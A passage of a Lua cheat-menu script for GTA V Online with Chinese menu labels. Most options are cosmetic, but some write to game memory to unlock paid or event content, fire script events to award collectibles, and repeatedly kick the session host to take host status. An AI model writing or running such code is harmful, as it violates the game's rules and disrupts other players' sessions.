	ENTITY.ATTACH_ENTITY_TO_ENTITY(wings, PLAYER.PLAYER_PED_ID(), PED.GET_PED_BONE_INDEX(PLAYER.PLAYER_PED_ID(), 0x5c01), -1.0, 0.0, 0.0, 0.0, 90.0, 0.0, false, true, false, true, 0, true)
else
	local count = 0
			for k,ent in pairs(entities.get_all_objects_as_handles()) do
				ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
				entities.delete_by_handle(ent)
				count = count + 1
				wait()
			end
			end
end)

GTTG(_LR, "银色翅膀", {"wringa"}, "如果不起作用,那么就是bug", function(on_toggle)

	if on_toggle then	
	local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID(), true)
	local wings = OBJECT.CREATE_OBJECT(util.joaat("vw_prop_art_wings_01b"), pos.x, pos.y, pos.z, true, true, true)
	STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(util.joaat("vw_prop_art_wings_01b"))
	ENTITY.ATTACH_ENTITY_TO_ENTITY(wings, PLAYER.PLAYER_PED_ID(), PED.GET_PED_BONE_INDEX(PLAYER.PLAYER_PED_ID(), 0x5c01), -1.0, 0.0, 0.0, 0.0, 90.0, 0.0, false, true, false, true, 0, true)
else
	local count = 0
			for k,ent in pairs(entities.get_all_objects_as_handles()) do
				ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
				entities.delete_by_handle(ent)
				count = count + 1
				wait()
			end
			end
end)

local country_flags = {"apa_prop_flag_argentina", "apa_prop_flag_australia", "apa_prop_flag_austria", "apa_prop_flag_belgium", "apa_prop_flag_brazil", "apa_prop_flag_canada_yt", "apa_prop_flag_china", "apa_prop_flag_columbia", "apa_prop_flag_croatia", "apa_prop_flag_czechrep", "apa_prop_flag_denmark", "apa_prop_flag_england", "apa_prop_flag_eu_yt", "apa_prop_flag_finland", "apa_prop_flag_france", "apa_prop_flag_german_yt", "apa_prop_flag_hungary", "apa_prop_flag_ireland", "apa_prop_flag_israel", "apa_prop_flag_italy", "apa_prop_flag_jamaica", "apa_prop_flag_japan_yt", "apa_prop_flag_lstein", "apa_prop_flag_malta", "apa_prop_flag_mexico_yt", "apa_prop_flag_netherlands", "apa_prop_flag_newzealand", "apa_prop_flag_nigeria", "apa_prop_flag_norway", "apa_prop_flag_palestine", "apa_prop_flag_poland", "apa_prop_flag_portugal", "apa_prop_flag_puertorico", "apa_prop_flag_russia_yt", "apa_prop_flag_scotland_yt", "apa_prop_flag_script", "apa_prop_flag_slovakia", "apa_prop_flag_slovenia", "apa_prop_flag_southafrica", "apa_prop_flag_southkorea", "apa_prop_flag_spain", "apa_prop_flag_sweden", "apa_prop_flag_switzerland", "apa_prop_flag_turkey", "apa_prop_flag_uk_yt", "apa_prop_flag_us_yt", "apa_prop_flag_wales"}
local flags_fmt = {}
for _, flag in pairs(country_flags) do 
    table.insert(flags_fmt, first_to_upper(flag:gsub('apa_prop_flag_', ''):gsub('_yt', '')))
end

GTLuaScript.list_action(funfeatures_self, "插旗", {"attachflagtocar"}, "", flags_fmt, function(index, val)
    if player_cur_car ~= 0 then 
        local hash = util.joaat(country_flags[index])
        request_model_load(hash)
        local flag = entities.create_object(hash, players.get_position(players.user()))
        local ht = get_model_size(ENTITY.GET_ENTITY_MODEL(player_cur_car)).z
        ENTITY.ATTACH_ENTITY_TO_ENTITY(flag, player_cur_car, 0, 0, 0, ht, 0, 0, 0, true, false, false, false, 0, true)
    end
end)

local rideable_animals_root = GT(funfeatures_self, "骑乘动物", {"rideableanimals"}, "请不要按空格,否则无法动弹")

local ranimal_hashes = {util.joaat("a_c_deer"), util.joaat("a_c_boar"), util.joaat("a_c_cow")}
rideable_animals_root:list_action("生成", {"spawnranimal"}, "", {"鹿", "公猪", "牛"}, function(index)
    if active_rideable_animal ~= 0 then 
        notification("已经骑动物" , colors.blue)
        return 
    end
    local hash = ranimal_hashes[index]
    request_model_load(hash)
    local animal = entities.create_ped(8, hash, players.get_position(players.user()), ENTITY.GET_ENTITY_HEADING(players.user_ped()))
    ENTITY.SET_ENTITY_INVINCIBLE(animal, true)
    ENTITY.FREEZE_ENTITY_POSITION(animal, true)
    ENTITY.FREEZE_ENTITY_POSITION(players.user_ped(), true)
    active_rideable_animal = animal
    local m_z_off = 0 
    local f_z_off = 0
    pluto_switch index do 
        case 1: 
            m_z_off = 0.3 
            f_z_off = 0.15
            break
        case 2:
            m_z_off = 0.4
            f_z_off = 0.3
            break
        case 3:
            m_z_off = 0.2 
            f_z_off = 0.1 
            break
    end
    if ENTITY.GET_ENTITY_MODEL(players.user_ped()) == util.joaat("mp_f_freemode_01") then 
        z_off = f_z_off
    else
        z_off = m_z_off
    end
    ENTITY.ATTACH_ENTITY_TO_ENTITY(players.user_ped(), animal, PED.GET_PED_BONE_INDEX(animal, 24816), -0.3, 0.0, z_off, 0.0, 0.0, 90.0, false, false, false, true, 2, true)
    request_anim_dict("rcmjosh2")
    TASK.TASK_PLAY_ANIM(players.user_ped(), "rcmjosh2", "josh_sitting_loop", 8.0, 1, -1, 2, 1.0, false, false, false)
    ENTITY.FREEZE_ENTITY_POSITION(animal, false)
    ENTITY.FREEZE_ENTITY_POSITION(players.user_ped(), false)
end)

appearance = GT(funfeatures_self, "隐藏自己")
disguise_state = state
GTTG(appearance, "隐藏开启", {"disguise"}, "", function(state)
disguise_state = state
if disguise_state then
invisibility_select = GTLuaScript.ref_by_path("Self>Appearance>Invisibility")
object_hash = util.joaat(disguise_objects[disguise_object])
player_pos = players.get_position(players.user())
request_model(object_hash)
object = entities.create_object(object_hash, player_pos)
GTLuaScript.set_value(invisibility_select, 2)
ENTITY.SET_ENTITY_COLLISION(object, false, false)
while disguise_state and players.exists(players.user()) do
player_pos = players.get_position(players.user())
player_rot = ENTITY.GET_ENTITY_ROTATION(players.user_ped(), 5)
ENTITY.SET_ENTITY_COORDS(object, player_pos.x, player_pos.y, player_pos.z- 0.3, false, false, false, false)
 ENTITY.SET_ENTITY_ROTATION(object, 0, 0, player_rot.z, false, false, false, false)
wait()
end
entities.delete_by_handle(object)
 GTLuaScript.set_value(invisibility_select, 0)
end
end)

disguise_object_slider = GTLuaScript.slider_text(
    appearance, "隐藏选择", {"disguiseobject"}, "", disguise_names, function()end
)

GTAC(renwuxuanxiang, "乳贴", {"sextoplessf"}, "", function(on_click)
    GTLuaScript.trigger_commands("toplessfemale")
end)

GTAC(renwuxuanxiang, "小老头", {"penisguy"}, "", function(on_click)
    GTLuaScript.trigger_commands("amyacult01")
end)

GTTG(renwuxuanxiang, "超人", {"imporage"}, "", function(on)
if on then
GTLuaScript.trigger_commands("umyimporage")
GTLuaScript.trigger_commands("walkstyle mop")
else
restore_model()
end
end)

GTTG(renwuxuanxiang, "共和太空游骑兵", {"imporage2"}, "", function(on)
if on then
GTLuaScript.trigger_commands("umyrsranger01")
GTLuaScript.trigger_commands("walkstyle mop")
else
restore_model()
end
end)

GTTG(renwuxuanxiang, "死猴子", {"imporage3"}, "", function(on)
if on then
GTLuaScript.trigger_commands("umypogo01")
GTLuaScript.trigger_commands("walkstyle mop")
else
restore_model()
end
end)

GTTG(renwuxuanxiang, "全副武装", {"imporage4"}, "", function(on)
if on then
GTLuaScript.trigger_commands("umyjuggernaut01")
GTLuaScript.trigger_commands("walkstyle mop")
else
restore_model()
end
end)

GTTG(renwuxuanxiang, "丧尸", {"imporage5"}, "", function(on)
if on then
GTLuaScript.trigger_commands("umyzombie01")
GTLuaScript.trigger_commands("walkstyle mop")
else
restore_model()
end
end)

GTTG(renwuxuanxiang, "男同", {"imporage6"}, "", function(on)
if on then
GTLuaScript.trigger_commands("umyjustin")
GTLuaScript.trigger_commands("walkstyle mop")
else
restore_model()
end
end)

GTTG(renwuxuanxiang, "猛男", {"imporage7"}, "", function(on)
if on then
GTLuaScript.trigger_commands("umybabyd")
GTLuaScript.trigger_commands("walkstyle mop")
else
restore_model()
end
end)

GTTG(renwuxuanxiang, "警察", {"imporage8"}, "", function(on)
if on then
GTLuaScript.trigger_commands("smysheriff01")
GTLuaScript.trigger_commands("walkstyle mop")
else
restore_model()
end
end)

GTTG(renwuxuanxiang, "特警", {"imporage9"}, "", function(on)
if on then
GTLuaScript.trigger_commands("smyswat01")
GTLuaScript.trigger_commands("walkstyle mop")
else
restore_model()
end
end)

GTTG(renwuxuanxiang, "消防员", {"imporage10"}, "", function(on)
if on then
GTLuaScript.trigger_commands("smyfireman01")
GTLuaScript.trigger_commands("walkstyle mop")
else
restore_model()
end
end)

GTTG(renwuxuanxiang, "小丑", {"imporage11"}, "", function(on)
if on then
GTLuaScript.trigger_commands("smyclown01")
GTLuaScript.trigger_commands("walkstyle mop")
else
restore_model()
end
end)

GTTG(renwuxuanxiang, "太空人", {"imporage12"}, "", function(on)
if on then
GTLuaScript.trigger_commands("smmmovspace01")
GTLuaScript.trigger_commands("walkstyle mop")
else
restore_model()
end
end)

GTTG(renwuxuanxiang, "裸女", {"imporage13"}, "", function(on)
if on then
GTLuaScript.trigger_commands("sfystripperlite")
GTLuaScript.trigger_commands("walkstyle mop")
else
restore_model()
end
end)

GTTG(renwuxuanxiang, "妓女", {"imporage14"}, "", function(on)
if on then
GTLuaScript.trigger_commands("mpfmisty01")
GTLuaScript.trigger_commands("walkstyle mop")
else
restore_model()
end
end)

GTTG(renwuxuanxiang, "妓女2", {"imporage15"}, "", function(on)
if on then
GTLuaScript.trigger_commands("csbstripper01")
GTLuaScript.trigger_commands("walkstyle mop")
else
restore_model()
end
end)

GTTG(renwuxuanxiang, "光头囚犯", {"imporage16"}, "", function(on)
if on then
GTLuaScript.trigger_commands("igrashcosvki")
GTLuaScript.trigger_commands("walkstyle mop")
else
restore_model()
end
end)

GTTG(renwuxuanxiang, "豹纹女", {"imporage17"}, "", function(on)
if on then
GTLuaScript.trigger_commands("igkaylee")
GTLuaScript.trigger_commands("walkstyle mop")
else
restore_model()
end
end)

GTTG(renwuxuanxiang, "粉红男郎", {"imporage18"}, "", function(on)
if on then
GTLuaScript.trigger_commands("iggroom")
GTLuaScript.trigger_commands("walkstyle mop")
else
restore_model()
end
end)

GTTG(renwuxuanxiang, "和平哥", {"imporage19"}, "", function(on)
if on then
GTLuaScript.trigger_commands("igfabien")
GTLuaScript.trigger_commands("walkstyle mop")
else
restore_model()
end
end)

GTTG(renwuxuanxiang, "疯子", {"imporage20"}, "", function(on)
if on then
GTLuaScript.trigger_commands("gmmslasher01")
GTLuaScript.trigger_commands("walkstyle mop")
else
restore_model()
end
end)

GTAC(renwuxuanxiang, "警察", {}, "成为警察", function()
    becomepoliceman()
end)

GTAC(renwuxuanxiang, "随机服装", {""}, "", function(on_click)
    GTLuaScript.trigger_commands("randomoutfit")
end)

GTTG(renwuxuanxiang, "大猩猩模式", {""}, "", function(on)
if on then
GTLuaScript.trigger_commands("igorleans")
GTLuaScript.trigger_commands("walkstyle mop")
else
restore_model()
end
end)

GTTG(renwuxuanxiang, "猴子模式", {""}, "", function(on)
if on then
GTLuaScript.trigger_commands("acchimp02")
GTLuaScript.trigger_commands("walkstyle mop")
else
restore_model()
end
end)

GTTG(renwuxuanxiang, "崔佛模式", {""}, "", function(on)
if on then
GTLuaScript.trigger_commands("trevor")
GTLuaScript.trigger_commands("walkstyle mop")
else
restore_model()
end
end)

GTTG(renwuxuanxiang, "崔佛模式2", {""}, "", function(on)
if on then
GTLuaScript.trigger_commands("trevor")
GTLuaScript.trigger_commands("walkstyle crouched")
else
GTLuaScript.trigger_commands("walkstyle mop")
GTLuaScript.trigger_commands("walkstyle poshfemale")
end 
end)

GTTG(renwuxuanxiang, "圣诞怪兽模式", {""}, "", function(on)
if on then
GTLuaScript.trigger_commands("UMMYuleMonster")
GTLuaScript.trigger_commands("walkstyle mop")
else
restore_model()
end
end)

GTTG(renwuxuanxiang, "动物套装", {""}, "", function(on)
if on then
GTLuaScript.trigger_commands("IGFurry")
GTLuaScript.trigger_commands("walkstyle mop")
else
restore_model()
end
end)

GTTG(dongwuxuanxiang, "鸟儿", {""}, "", function(on)
if on then
GTLuaScript.trigger_commands("accormorant")
GTLuaScript.trigger_commands("walkstyle mop")
else
restore_model()
end
end)

GTTG(dongwuxuanxiang, "老鼠", {""}, "", function(on)
if on then
GTLuaScript.trigger_commands("acrat")
GTLuaScript.trigger_commands("walkstyle mop")
else
restore_model()
end
end)

GTTG(dongwuxuanxiang, "小猪", {""}, "", function(on)
if on then
GTLuaScript.trigger_commands("acpig")
GTLuaScript.trigger_commands("walkstyle mop")
else
restore_model()
end
end)

GTTG(dongwuxuanxiang, "豹子", {""}, "", function(on)
if on then
GTLuaScript.trigger_commands("acmtlion")
GTLuaScript.trigger_commands("walkstyle mop")
else
restore_model()
end
end)

GTTG(dongwuxuanxiang, "坤坤", {""}, "嗝嗝嗝儿~", function(on)
if on then
GTLuaScript.trigger_commands("achen")
GTLuaScript.trigger_commands("walkstyle mop")
else
restore_model()
end
end)

GTTG(dongwuxuanxiang, "牛牛", {""}, "", function(on)
if on then
GTLuaScript.trigger_commands("accow")
GTLuaScript.trigger_commands("walkstyle mop")
else
restore_model()
end
end)

GTTG(dongwuxuanxiang, "猫咪", {""}, "", function(on)
if on then
GTLuaScript.trigger_commands("accat01")
GTLuaScript.trigger_commands("walkstyle mop")
else
restore_model()
end
end)

GTTG(dongwuxuanxiang, "郊狼", {""}, "", function(on)
if on then
GTLuaScript.trigger_commands("accoyote")
GTLuaScript.trigger_commands("walkstyle mop")
else
restore_model()
end
end)

GTTG(dongwuxuanxiang, "大兔纸", {""}, "注意:掏出枪瞄准时会引发崩溃(XA)", function(on)
if on then
GTLuaScript.trigger_commands("ACRabbit02")
GTLuaScript.trigger_commands("walkstyle mop")
else
restore_model()
end
end)


clpid = {}
GTAC(renwuxuanxiang, "克隆自己", {}, "生成克隆的你", function()
    clpid [#clpid + 1] = PED.CLONE_PED(players.user_ped(), true, true, true)
end)

util.create_tick_handler(function()
    if not players.exists(players.user()) then
        return false
    end

    disguise_object = GTLuaScript.get_value(disguise_object_slider)
end)


    GTTG(firebreath, '喷火', {'JSfireBreath'}, '', function(toggle)
        firebreathxxx(toggle)
    end)

    GTLuaScript.slider(firebreath, '喷火比例', {'JSfireBreathScale'}, '', 1, 100, fireBreathSettings.scale * 10, 1, function(value)
        firebreathscale(value)
    end)

    GTLuaScript.rainbow(GTLuaScript.colour(firebreath, '喷火颜色', {'JSfireBreathColour'}, '', fireBreathSettings.colour, false, function(colour)
        firebreathcolour(colour)
    end))

    local bones <const> = {
        0x49D9,	
        0xDEAD,	
        0x3779,	
        0xCC4D	
    }
    local colour = {r = 1.0, g = 0.0, b = 1.0, a = 1.0}
    local timer <const> = newTimer()
    local trailsOpt <const> = GT(selflist,"人物轨迹"), {}, ""
    local effect <const> = Effect.new("scr_rcpaparazzo1", "scr_mich4_firework_sparkle_spawn")
    local effects = {}
    
    GTLP(trailsOpt,"轨迹", {"trails"}, "", function ()
    if not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED(effect.asset) then
    STREAMING.REQUEST_NAMED_PTFX_ASSET(effect.asset)
    return
    end
    if timer.elapsed() >= 1000 then
    removeFxs(effects); effects = {}
    timer.reset()
    end
    if PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), true) then
    local vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), false)
    local minimum, maximum = v3.new(), v3.new()
    MISC.GET_MODEL_DIMENSIONS(ENTITY.GET_ENTITY_MODEL(vehicle), minimum, maximum)
    local offsets <const> = {v3(minimum.x, minimum.y, 0.0), v3(maximum.x, minimum.y, 0.0)}
    for _, offset in ipairs(offsets) do
    GRAPHICS.USE_PARTICLE_FX_ASSET(effect.asset)
    local fx =
    GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY(effect.name,vehicle,offset.x,offset.y,0.0,0.0,0.0,0.0,0.7, false, false, false,0, 0, 0, 0)
    GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
    table.insert(effects, fx)
    end
    elseif ENTITY.DOES_ENTITY_EXIST(players.user_ped()) then
    for _, boneId in ipairs(bones) do
    GRAPHICS.USE_PARTICLE_FX_ASSET(effect.asset)
    local fx =
    GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE(effect.name,players.user_ped(),0.0,0.0,0.0,0.0,0.0,0.0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId),0.7, false, false, false,0, 0, 0, 0)
    GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
    table.insert(effects, fx)
    end
    end
    end, function ()
    removeFxs(effects); effects = {}
    end)
    
    local trailColour = GTLuaScript.colour(trailsOpt,"颜色", {"trailcolour"}, "", colour, false, function(newColour)
         colour = newColour 
    end)
    GTLuaScript.rainbow(trailColour)
    
    local ragdoll = GT(selflist, '摔倒选项', {'JSragdollOptions'}, '选择不同的摔倒选项\n需要取消勾选:(自我选项-不会摔倒)')

    GTLP(ragdoll, '笨拙', {'JSclumsy'}, '让您的人物很容易摔倒', function()
        clumsy()
    end)

    GTAC(ragdoll, '绊倒', {'JSstumble'}, '让您的人物绊倒,很可能会摔倒', function()
        stumble()
    end)

    local fallTimeout = false
    GTTG(ragdoll, '倒下', {'JSfallOver'}, '让您绊倒/跌倒并阻止您站起来', function(toggle)
        if toggle then
            local vector = ENTITY.GET_ENTITY_FORWARD_VECTOR(players.user_ped())
            PED.SET_PED_TO_RAGDOLL_WITH_FALL(players.user_ped(), 1500, 2000, 2, vector.x, -vector.y, vector.z, 1, 0, 0, 0, 0, 0, 0)
        end
        fallTimeout = toggle
        while fallTimeout do
            PED.RESET_PED_RAGDOLL_TIMER(players.user_ped())
            wait()
        end
    end)

    GTLP(ragdoll, '摔倒', {'JSragdoll'}, '让您的人物摔倒', function()
        ragdoll_self()
    end)

local cus_respawn = GT(selflist, '自定义复活', {}, '')

custom_respawn_toggle = GTLP(cus_respawn, '自定义复活' ..': '.. 'none', {}, '设置你死后重生的位置.', function()
    custom_respawn()
end)

custom_respawn_location = GTAC(cus_respawn, '保存位置', {}, '未设置位置.', function()
    save_custom_respawn()
end)

local unlocks = GT(selflist, "解锁内容", {}, "解锁游戏内容,几乎无风险")

GTAC(unlocks, "解锁所有成就", {}, "", function()
GTLuaScript.trigger_commands("unlockachievements")
end)

GTAC(unlocks, "解锁XMass内容", {}, "需要切换战局", function()
    memory.write_byte(memory.script_global(262145 + 33915), 1)  
    memory.write_byte(memory.script_global(262145 + 33916), 1)  
end)

GTLP(unlocks, "50辆载具车库", {}, "", function()
    if memory.read_byte(memory.script_global(262145 + 32688)) ~= 0 then
        memory.write_byte(memory.script_global(262145 + 32688), 0) 
    end

    if memory.read_byte(memory.script_global(262145 + 32702)) ~= 1 then
        memory.write_byte(memory.script_global(262145 + 32702), 1)  
    end
end)

GTLP(unlocks, "解锁出租车任务", {}, "", function() 
    if memory.read_byte(memory.script_global(262145 + 33770)) ~= 1 then
        memory.write_byte(memory.script_global(262145 + 33770), 1)
    return end
end)

GTAC(unlocks, "毒品战争内容DLC内容", {}, "", function()
    for i = 33974, 34112, 1 do
        memory.write_byte(memory.script_global(262145 + i), 1)  
    end
end)

GTAC(unlocks, "圣诞和新年礼物", {}, "Change sessions for the gifts to be awarded.", function()
    memory.write_byte(memory.script_global(2793046 + 888), 1)  
    memory.write_byte(memory.script_global(2793046 + 895), 1)  
end)


local collectibles = GT(unlocks, "收藏品", {}, "")

GTLuaScript.click_slider(collectibles, "电影道具", {""}, "", 0, 9, 0, 1, function(i)
    util.trigger_script_event(1 << players.user(), {1839167950, players.user(), 0x0, i, 1, 1, 1})
end)

GTLuaScript.click_slider(collectibles, "隐藏包裹", {""}, "", 0, 9, 0, 1, function(i)
    util.trigger_script_event(1 << players.user(), {1839167950, players.user(), 0x1, i, 1, 1, 1})
end)

GTLuaScript.click_slider(collectibles, "藏宝箱", {""}, "", 0, 1, 0, 1, function(i)
    util.trigger_script_event(1 << players.user(), {1839167950, players.user(), 0x2, i, 1, 1, 1})
end)

GTLuaScript.click_slider(collectibles, "信号干扰器", {""}, "", 0, 9, 0, 1, function(i)
    util.trigger_script_event(1 << players.user(), {1839167950, players.user(), 0x3, i, 1, 1, 1})
end)

GTLuaScript.click_slider(collectibles, "媒体音乐棒", {""}, "", 0, 19, 0, 1, function(i)
    util.trigger_script_event(1 << players.user(), {1839167950, players.user(), 0x4, i, 1, 1, 1})
end)

GTAC(collectibles, "沉船", {""}, "", function()
    util.trigger_script_event(1 << players.user(), {1839167950, players.user(), 0x5, 0, 1, 1, 1})
end)

GTLuaScript.click_slider(collectibles, "隐藏包裹", {""}, "", 0, 1, 0, 1, function(i)
    util.trigger_script_event(1 << players.user(), {1839167950, players.user(), 0x6, i, 1, 1, 1})
end)

GTAC(collectibles, "万圣节T恤", {""}, "", function()
    util.trigger_script_event(1 << players.user(), {1839167950, players.user(), 0x7, 1, 1, 1, 1})
end)

GTLuaScript.click_slider(collectibles, "给糖或捣乱", {""}, "", 0, 9, 0, 1, function(i)
    util.trigger_script_event(1 << players.user(), {1839167950, players.user(), 0x8, i, 1, 1, 1})
end)

GTLuaScript.click_slider(collectibles, "拉玛有机坊产品", {""}, "", 0, 99, 0, 1, function(i)
    util.trigger_script_event(1 << players.user(), {1839167950, players.user(), 0x9, i, 1, 1, 1})
end)

GTLuaScript.click_slider(collectibles, "拉机能量高空跳伞", {""}, "", 0, 9, 0, 1, function(i)
    util.trigger_script_event(1 << players.user(), {1839167950, players.user(), 0xA, i, 1, 1, 1})
end)

GTLP(helperingame, "自动领取悬赏", {""}, "", function()
    local bounty = players.get_bounty(players.user())
    if bounty != nil then
        repeat
            menu.trigger_commands("removebounty")
            wait(1000)
            bounty = players.get_bounty(players.user())
        until bounty == nil
        util.toast("Bounty has been auto-claimed. :D")
    end
end)

GTAC(helperingame, "强制线上云保存", {}, "", function ()
    savedata()
end)

GTLP(helperingame, "打字时禁用手机来电", {}, "避免电话接入导致聊天框自动关闭",
    function()
        if chat.is_open() then
            menu.trigger_commands("nophonespam on")
        else
            menu.trigger_commands("nophonespam off")
        end
    end, function()
    menu.trigger_commands("nophonespam off")
end)

GTLP(helperingame, "载具内不可被射击", {}, "防止在载具内被击杀或恶搞", function()
    PED.SET_PED_CAN_BE_SHOT_IN_VEHICLE(PLAYER.PLAYER_PED_ID(), false)
end, function()
    PED.SET_PED_CAN_BE_SHOT_IN_VEHICLE(PLAYER.PLAYER_PED_ID(), true)
end)

npcdisable = off
menu.toggle(helperingame, "禁止NPC造成伤害", {}, "", function(on)
    npcdisable = on
    while npcdisable do
        WIRI_PED.SET_AI_WEAPON_DAMAGE_MODIFIER(0)
        WIRI_PED.SET_AI_MELEE_WEAPON_DAMAGE_MODIFIER(0)
        wait()
    end
        WIRI_PED.SET_AI_WEAPON_DAMAGE_MODIFIER(1)
        WIRI_PED.SET_AI_MELEE_WEAPON_DAMAGE_MODIFIER(1)
end)

GTLP(helperingame, "不会被帮派骚扰", {}, "防止身处含有帮派区域被帮派成员攻击骚扰", function()
    PLAYER.SET_PLAYER_CAN_BE_HASSLED_BY_GANGS(PLAYER.PLAYER_ID(), false)
end, function()
    PLAYER.SET_PLAYER_CAN_BE_HASSLED_BY_GANGS(PLAYER.PLAYER_ID(), true)
end)

GTLP(helperingame, "移除载具上的黏弹", {}, "", function()
    local vehicle = entities.get_user_vehicle_as_handle()
    if vehicle ~= 0 then
        NETWORK.REMOVE_ALL_STICKY_BOMBS_FROM_ENTITY(vehicle)
    end
end)

GTLP(helperingame, "自动接受并加入游戏", {}, "将自动接受游戏邀请", function()
    autoaccept()
end)

GTTG(helperingame, "自动切换战局", {""}, "加入战局失败时自动切换战局", function(state)
    local message_hash = C_CCHUD.GET_WARNING_SCREEN_MESSAGE_HASH()
    local my_player_id = players.user_ped()
    local playerstatus = {0, 1} 
    local message_hashes = {15890625, -398982408, -587688989} 
    if state then
        if message_hash == message_hashes then
            PAD.SET_CONTROL_VALUE_NEXT_FRAME(2, 201, 1.0)
            wait(200)
        end

        if my_player_id == playerstatus then
            NETWORK.NETWORK_JOIN_PREVIOUSLY_FAILED_TRANSITION(0, true)
            NETWORK.NETWORK_JOIN_PREVIOUSLY_FAILED_SESSION(0, true)

            wait_session_transition()
            util.toast("重新加入 :新战局")
            GTLuaScript.trigger_commands("rejoin ")
        else
            util.toast("正在加入 :新战局")
            GTLuaScript.trigger_commands("go newpublic")
        end
    end
end)

GTLP(helperingame, "自动获取脚本主机", {"scriptshost"}, "更快获取脚本主机", function()

    if players.get_script_host() ~= players.user() and get_transition_state(players.user()) ~= 0 then

        GTLuaScript.trigger_command(GTLuaScript.ref_by_path("Players>"..players.get_name_with_tags(players.user())..">Friendly>Give Script Host"))

    end

end)

GTLP(helperingame, "自动获取主机", {"alwayshost"}, "", function()
	if not (players.get_host() == PLAYER.PLAYER_ID()) and not util.is_session_transition_active() then
		if not (PLAYER.GET_PLAYER_NAME(players.get_host()) == "**Invalid**") then
			GTLuaScript.trigger_commands("kick"..PLAYER.GET_PLAYER_NAME(players.get_host()))
			wait(200)
		end
	end
end)

GTTG(helperingame, '挂机防踢', {""}, '', function (on)
if on then
GTLuaScript.trigger_commands("noidlekick on")
else
GTLuaScript.trigger_commands("noidlekick off")
end
end)

GTLP(helperingame, "移除翻车卡住的检测", { "remove_veh_check" },
    "避免因载具翻车或卡住导致任务失败", function()
    local vehicle = entities.get_user_vehicle_as_handle()
    if vehicle ~= 0 then
        VEHICLE.REMOVE_VEHICLE_UPSIDEDOWN_CHECK(vehicle)
        VEHICLE.REMOVE_VEHICLE_STUCK_CHECK(vehicle)
    end
end)

GTTG(helperingame, "提升FPS V1", {"fpsboost"}, "更改本地气象时间", function(on_toggle)
	if on_toggle then
		notification("正在设置FPS...")
		GTLuaScript.trigger_commands("weather" .. " extrasunny")
		GTLuaScript.trigger_commands("clouds" .. " clear01")
		GTLuaScript.trigger_commands("time" .. " 6")
		GTLuaScript.trigger_commands("superc")
        GTLuaScript.trigger_commands("noidlecam ")
	else
		notification("正在重置FPS...")
		GTLuaScript.trigger_commands("weather" .. " normal")
		GTLuaScript.trigger_commands("clouds" .. " normal")
        GTLuaScript.trigger_commands("noidlecam ")
		end
	end)

	GTTG(helperingame, "提升FPS V2", {"fpsnsboost"}, "超级清除并降低画质渲染", function(on_toggle)
	if on_toggle then
		notification("正在设置FPS...")
		GTLuaScript.trigger_commands("weather" .. " extrasunny")
		GTLuaScript.trigger_commands("clouds" .. " clear01")
		GTLuaScript.trigger_commands("time" .. " 6")
		GTLuaScript.trigger_commands("superc")
        GTLuaScript.trigger_commands("potatomode ")
        GTLuaScript.trigger_commands("nosky ")
        GTLuaScript.trigger_commands("noidlecam ")
	else
		notification("正在重置FPS...")
		GTLuaScript.trigger_commands("weather" .. " normal")
		GTLuaScript.trigger_commands("clouds" .. " normal")
        GTLuaScript.trigger_commands("potatomode ")
        GTLuaScript.trigger_commands("nosky ")
        GTLuaScript.trigger_commands("noidlecam ")
		end
	end)

GTLP(helperingame, "PVP防御模式", {}, "", function()
    pvpdefmode()
end)

GTLP(helperingame, "武装玩家", {"ghostarmedplayers"}, "针对手持武器的玩家启用幽灵模式", function()
    for _, pid in ipairs(players.list(false, true, true)) do
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        if WEAPON.IS_PED_ARMED(ped, 7) or TASK.GET_IS_TASK_ACTIVE(ped, 199) or TASK.GET_IS_TASK_ACTIVE(ped, 128) 
        or IsPlayerUsingGuidedMissile(pid) or IsPlayerInRcTank(pid) or IsPlayerInRcBandito(pid) or IsPlayerFlyingAnyDrone(pid) then
            NETWORK.SET_REMOTE_PLAYER_AS_GHOST(pid, true)
        else
            NETWORK.SET_REMOTE_PLAYER_AS_GHOST(pid, false)
        end
    end
end, function()
    for _, pid in ipairs(players.list(false, true, true)) do
        NETWORK.SET_REMOTE_PLAYER_AS_GHOST(pid, false)
    end
end)

GTTG(helperingame, "天基炮", {""}, "虚假的天基炮,无实际作用", function(state)
		orbital_cannon_map_is_charging = false
		orbital_cannon_map_is_shooting = false
		orbital_cannon_map_time = 0
		orbital_cannon_map_zoom = 0
		orbital_cannon_map_pos_x = text_func(ENTITY.GET_ENTITY_COORDS(players.user()).x)
		orbital_cannon_map_pos_y = text_func(ENTITY.GET_ENTITY_COORDS(players.user()).y)
		orbital_cannon_map_scaleform = GRAPHICS.REQUEST_SCALEFORM_MOVIE("ORBITAL_CANNON_MAP")  
        local old_pos = ENTITY.GET_ENTITY_COORDS(players.user_ped(), false)
        orb = state    
    	while orb do
			wait()
			ENTITY.SET_ENTITY_COORDS_NO_OFFSET(players.user_ped(players.user()), ENTITY.GET_ENTITY_COORDS(players.user()).x,ENTITY.GET_ENTITY_COORDS(players.user()).y,ENTITY.GET_ENTITY_COORDS(players.user()).z)
			ENTITY.FREEZE_ENTITY_POSITION(players.user_ped(players.user()), true)
			TASK.CLEAR_PED_TASKS_IMMEDIATELY(players.user_ped(players.user()))
			if PAD.IS_DISABLED_CONTROL_PRESSED(2, 77) then
				if orbital_cannon_map_pos_y >= -10000 and orbital_cannon_map_pos_y <= 10000 then
					orbital_cannon_map_pos_y = orbital_cannon_map_pos_y + 2
				else
					orbital_cannon_map_pos_y = 0
				end
			end
			if PAD.IS_DISABLED_CONTROL_PRESSED(2, 133) then
				if orbital_cannon_map_pos_x >= -10000 and orbital_cannon_map_pos_x <= 10000 then
					orbital_cannon_map_pos_x = orbital_cannon_map_pos_x - 2
				else
					orbital_cannon_map_pos_x = 0
				end
			end
			if PAD.IS_DISABLED_CONTROL_PRESSED(2, 134) then
